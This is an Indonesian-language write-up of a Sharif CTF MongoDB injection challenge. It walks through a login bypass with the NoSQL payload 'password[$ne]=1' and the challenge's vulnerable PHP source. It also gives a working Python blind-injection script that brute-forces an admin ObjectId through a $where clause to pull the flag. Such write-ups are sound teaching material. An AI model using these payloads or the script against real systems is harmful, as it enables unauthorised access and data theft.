SHARIF CTF: MONGO DB INJECTION

ctf.sharif.edu kompetisi ctf internasional yang gk sengaja ane temuin di google dan menemukan challange mongodb injection + writeupnya yang sangat menarik dalam soal itu seperti ini instruksinya

login and find the flag
http://ctf.sharif.edu:25489

tampilan websitenya seperti ini :

ada form login dengan field username+password+captcha

pertama yang saya lakukan coba untuk view page source untuk mencari clue” , dan tidak ada . kemudian coba untuk login menggunakan bypass sqli menggunakan ‘ OR ‘ = 1=1 ,dsb

favicon di website tersebut coba kita scan menggunakan exiftool

<span class="c"># exiftool favicon.png</span>
<span class="o">[</span>...<span class="o">]</span>

File Name : favicon.png Directory : . File Size : 2.6 kB File Modification : 2014:09:23 12:59:18+02:00 File Permissions : rw-r–r– File Type : PNG MIME Type : image/png

[…]

Thumb URI : file:///Users/alz/Developer/git/pictonic/assets/svgs/3e91140ac1bfb9903b91c1b0ca092167.svg

[…] </code></pre>

Menarik file png yang jadi favicon itu ternyata hasil conver dari file .svg , coba kita search file svg nya di google

dan 😀 kita mengetahui sekarang bahwa backend untuk database mereka bukan pakai MySQL/PgSQL tapi pakai MongoDB

karena kita sudah tau menggunakan MongoDB coba cari cara untuk menyerang MongoDB seperti ini

idontplaydarts.com – “Mongodb is vulnerable to SQL injection in PHP at least

Di website itu kita belajar bagaimana MongoDB + Php bekerja

<span class="x">$collection->find(array(</span>
<span class="x">    "username" => $_GET['username'],</span>
<span class="x">    "passwd" => $_GET['passwd']</span>
<span class="x">));

</code></pre>

Script di atas sama dengan

<span class="x">mysql_query("SELECT * FROM collection</span>
<span class="x">    WHERE username=" . $_GET['username'] . ",</span>
<span class="x">    AND passwd=" . $_GET['passwd'])</span>

biasanya untuk bypass login form kita buat query selalu mengembalikan nilai true walaupun yang kita masukan username dan password salah seperti

<span class="x">$collection->find(array(</span>
<span class="x">    "username" => "admin",</span>
<span class="x">    "passwd" => array("$ne" => 1)</span>
<span class="x">));</span>

$ne adalah operator mongodb yang maksudnya != ( tidak sama dengan )

Sama Dengan

<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">collection</span>
<span class="k">WHERE</span> <span class="n">username</span><span class="o">=</span><span class="ss">"admin"</span><span class="p">,</span>
<span class="k">AND</span> <span class="n">passwd</span><span class="o">!=</span><span class="mi">1</span>

Dari 2 script di atas kita ketahui bahwa jika passwd != 1 maka nilai yang di kembalikan query (true) atau benar

karena password yang di input tidak benar . maka akan masuk ke dashboard admin

gunakan tamper data untuk mengirimkan post data

<span class="x">username=admin&password[$ne]=1&captcha=AXBYCZ

</code></pre>

sesuaikan captcha dengan yang benar

selain dengan tamper data , juga bisa menggunakan inspect element atau firebug untuk bypass login

setelah login akan muncul dashboard seperti ini

di panel admin ini di sediakan beberapa source code dari file seperti : login.php , init.php , api.php , panel.php

coba kita lihat ke login.php

<?php
/**
 * User: some one
 * Date: 8/25/14
 * Time: 11:03 AM
 */
session_start();
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$username = $_POST['username'];
$password = $_POST['password'];
$q = array(
    'username' => $username,
    'password' => $password
);

include 'Captcha.php';
$v = Captcha::validate($_POST['captcha']);
if ($v) {
    $_SESSION['time'] = intval(time() / 60);
    $_SESSION['count'] = 25;
}else{
    die('invalid captcha');
}

$user = $users_col->findOne($q);
if(is_null($user)){
    #header("Location: login-failed.html");
    die('invalid username or password');
}else{
    $_SESSION['id'] = $user['_id']->{'$id'};
    header("Location: panel.php");
    die();
}

kalau di script login.php kita bisa liat array nya dipisah

$q = array( 'username' => $username, 'password' => $password ); $user = $users_col->findOne($q);

sama dengan

<span class="x">$collection->find(array(</span>
<span class="x">    "username" => $_GET['username'],</span>
<span class="x">    "passwd" => $_GET['passwd']</span>
<span class="x">));
</span>

lanjut kita liat script init.php

<span class="cp"><?php</span>
<span class="sd">/** </span>
<span class="sd"> * User: some one</span>
<span class="sd"> * Date: 8/25/14</span>
<span class="sd"> * Time: 11:00 AM</span>
<span class="sd"> */</span>

function generateRandomString($length = 10) { $characters = ’0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’; $randomString = ’‘; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; }

$m = new MongoClient(); $db = $m->ctf5; $users_col = $db->users; $flag_col = $db->flag; $user = $users_col->findOne(array(’username’ => ’admin’)); $flag = $flag_col->findOne();

// old codes //$staffs = array(‘gholi’,’bobak’,’bijan’,’arash’); // //foreach($staffs as $staff){ // $users_col->insert(array( // ‘username’ => $staff, // ‘role’=>‘staff’, // ‘password’ => generateRandomString(20), // )); //}

//$visitors = array(‘noone’,’bob’,’john’,’alice’); // //foreach($visitors as $visitor){ // $users_col->insert(array( // ‘username’ => $visitor, // ‘role’=>‘visitor’, // ‘password’ => generateRandomString(10), // )); //}

if (is_null($user)) { $users_col->insert(array( ’username’ => ’admin’, ’role’=>’admin’, ’password’ => generateRandomString(30), )); } if (is_null($flag)) { $flag_col->insert(array( ’flag’ => generateRandomString(30), )); } ?></code></pre>

penjelasannya di situ ada function random string untuk generate password,id,flag dan ada query insert flag sama insert admin dan init.php ini sepertinya yang akan diload pada setiap file karena koneksi mongodb di buka di script ini

trus coba kita liat script selanjutnya api.php

<span class="cp"><?php</span>
<span class="sd">/**</span>
<span class="sd"> * User: some one</span>
<span class="sd"> * Date: 8/25/14</span>
<span class="sd"> * Time: 11:25 AM</span>
<span class="sd"> */</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]))</span> <span class="p">{</span>
    <span class="nb">header</span><span class="p">(</span><span class="s2">"Location: index.html"</span><span class="p">);</span>
    <span class="k">die</span><span class="p">();</span>
<span class="p">}</span>
<span class="nv">$ajax</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_X_REQUESTED_WITH'</span><span class="p">])</span> <span class="k">AND</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_X_REQUESTED_WITH'</span><span class="p">])</span> <span class="o">===</span> <span class="s1">'xmlhttprequest'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$ajax</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$ajax</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">die</span><span class="p">();</span>
<span class="p">}</span>
<span class="nv">$T</span> <span class="o">=</span> <span class="mi">60</span><span class="p">;</span>
<span class="nv">$N</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span>
<span class="nv">$t</span> <span class="o">=</span> <span class="nb">intval</span><span class="p">(</span><span class="nb">time</span><span class="p">()</span> <span class="o">/</span> <span class="nv">$T</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'time'</span><span class="p">]</span> <span class="o"><</span> <span class="nv">$t</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'time'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">intval</span><span class="p">(</span><span class="nb">time</span><span class="p">()</span> <span class="o">/</span> <span class="nv">$T</span><span class="p">);</span>
    <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'count'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$N</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'count'</span><span class="p">]</span> <span class="o"><=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type: application/json'</span><span class="p">);</span>
        <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s2">"You are so fast. Please slow down. And wait for one minute."</span><span class="p">));</span>
        <span class="k">die</span><span class="p">();</span>
    <span class="p">}</span>
    <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'count'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'count'</span><span class="p">]</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$q</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'q'</span><span class="p">]))</span> <span class="p">{</span>
    <span class="nv">$q</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'q'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$q</span> <span class="o">==</span> <span class="s1">'users'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$role</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'role'</span><span class="p">];</span>
    <span class="nv">$m</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MongoClient</span><span class="p">();</span>
    <span class="nv">$db</span> <span class="o">=</span> <span class="nv">$m</span><span class="o">-></span><span class="na">ctf5</span><span class="p">;</span>
    <span class="nv">$users_col</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-></span><span class="na">users</span><span class="p">;</span>
    <span class="nv">$users</span> <span class="o">=</span> <span class="nv">$users_col</span><span class="o">-></span><span class="na">find</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
        <span class="s1">'$where'</span> <span class="o">=></span> <span class="s2">"this.role == '</span><span class="si">$role</span><span class="s2">'"</span>
    <span class="p">));</span>
    <span class="nv">$names</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="nv">$users</span> <span class="k">as</span> <span class="nv">$user</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$names</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$user</span><span class="p">[</span><span class="s1">'username'</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type: application/json'</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">(</span><span class="nv">$names</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$q</span> <span class="o">==</span> <span class="s1">'flag'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span>
    <span class="nv">$m</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MongoClient</span><span class="p">();</span>
    <span class="nv">$db</span> <span class="o">=</span> <span class="nv">$m</span><span class="o">-></span><span class="na">ctf5</span><span class="p">;</span>
    <span class="nv">$flag_col</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-></span><span class="na">flag</span><span class="p">;</span>
    <span class="nv">$flag</span> <span class="o">=</span> <span class="nv">$flag_col</span><span class="o">-></span><span class="na">findOne</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'_id'</span> <span class="o">=></span> <span class="k">new</span> <span class="nx">MongoId</span><span class="p">(</span><span class="nv">$id</span><span class="p">)));</span>
    <span class="nb">var_dump</span><span class="p">(</span><span class="nv">$flag</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>

fle api.php hanya bisa di buka ketika kita sudah login sehingga $_Session[id] != 0 , dan untuk mengakses file ini kita harus mengganti header dengan XMLHttpRequest

Get parameter Q di gunakan untuk 2 value :

– Untuk mendapatkan user dengan role yang di spesifikasaikan di GET role

-Untuk mendapatkan flag dengan memasukan id dari role admin

<span class="s">api.php?q=flag&id=

</span>Didalam File init.php admin user dan flag di insert pada waktu yang sama di mongodb kita dapat menganggap $id mereka berturut" jika kita bisa mendapatkan $id admin user maka kita akan mudah untuk mendapatkan $id flag

Kesimpulannya kita mencari : - $id dari admin user , - masukan $id untuk dapatkan flag

<span class="cp"><?php</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$q</span> <span class="o">==</span> <span class="s1">'users'</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$role</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'role'</span><span class="p">];</span>
    <span class="nv">$m</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MongoClient</span><span class="p">();</span>
    <span class="nv">$db</span> <span class="o">=</span> <span class="nv">$m</span><span class="o">-></span><span class="na">ctf5</span><span class="p">;</span>
    <span class="nv">$users_col</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-></span><span class="na">users</span><span class="p">;</span>
    <span class="nv">$users</span> <span class="o">=</span> <span class="nv">$users_col</span><span class="o">-></span><span class="na">find</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
        <span class="s1">'$where'</span> <span class="o">=></span> <span class="s2">"this.role == '</span><span class="si">$role</span><span class="s2">'"</span>
    <span class="p">));</span>
    <span class="nv">$names</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="nv">$users</span> <span class="k">as</span> <span class="nv">$user</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$names</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$user</span><span class="p">[</span><span class="s1">'username'</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type: application/json'</span><span class="p">);</span>
    <span class="k">echo</span> <span class="nb">json_encode</span><span class="p">(</span><span class="nv">$names</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>

kita akan melakukan blind mongodb injection untuk menebak dari $id dan memanfaatkan oracle response

api.php?q=user&role=admin’ && (this._id.str[x]==’Y’) && ‘1’==’1

x dan y adalah yang akan di rubah untuk bruteforce .. ketika response dari oracle == 9 maka digit itu benar kemudian lanjut ke digit selanjutnya

disini pakai python untuk mengimplementasikan attacknya

<span class="c">#!/usr/bin/python</span>

import urllib import requests import time

baseUrl = ”http://ctf.sharif.edu:25489/api.php?q=users&role=” headers = {’X-Requested-With’: ’XMLHttpRequest’} cookies = dict(PHPSESSID=’amuedn0ra3fhj0diatdb4kkkt1’) admin_id = ’‘

# Guessing admin id for c in range(0, 24): print(”[*] Guessing character “+str(c + 1)) for x in range(0x10): letter = format(x,’x’) query = ”admin’ && (this._id.str[“ + str(c) + ”]==’“ + letter + ”’) && ‘1’==’1” url = baseUrl + urllib.quote_plus(query) response = requests.get(url, headers = headers, cookies=cookies) if len(response.text)==9: admin_id += format(x, ’x’) print(” + Admin id guessed: “ + admin_id) print(”“) break

    &lt;span class="n">time&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>

# Getting the flag print(”[*] Go for the flag!”) flag_id = format(int(admin_id, 16) + 1, ’x’) url = ”http://ctf.sharif.edu:25489/api.php?q=flag&id=”+flag_id response = requests.get(url, headers = headers, cookies=cookies) print response.text </code></pre>

<span class="c"># ./sharif14_pwnit.py</span>
<span class="o">[</span>*<span class="o">]</span> Guessing character 1
    + Admin id guessed: 5

[*] Guessing character 2 + Admin id guessed: 53

[…]

[*] Guessing character 23 + Admin id guessed: 53fadd3d7137a495319e10f

[*] Guessing character 24 + Admin id guessed: 53fadd3d7137a495319e10f3

[*] Go for the flag!

array(2) { [”_id”]=> object(MongoId)#7 (1) { [”$id”]=> string(24) ”53fadd3d7137a495319e10f4” } [”flag”]=> string(30) ”9fmTOOdbm1A76o40Bb9N3wpqvozdJI” }</code></pre>

Source : http://blog.dul.ac/2014/10/SHARIF_QUALS_14/

Sharif CTF: Mongo Db Injection

Abdillah Muhamad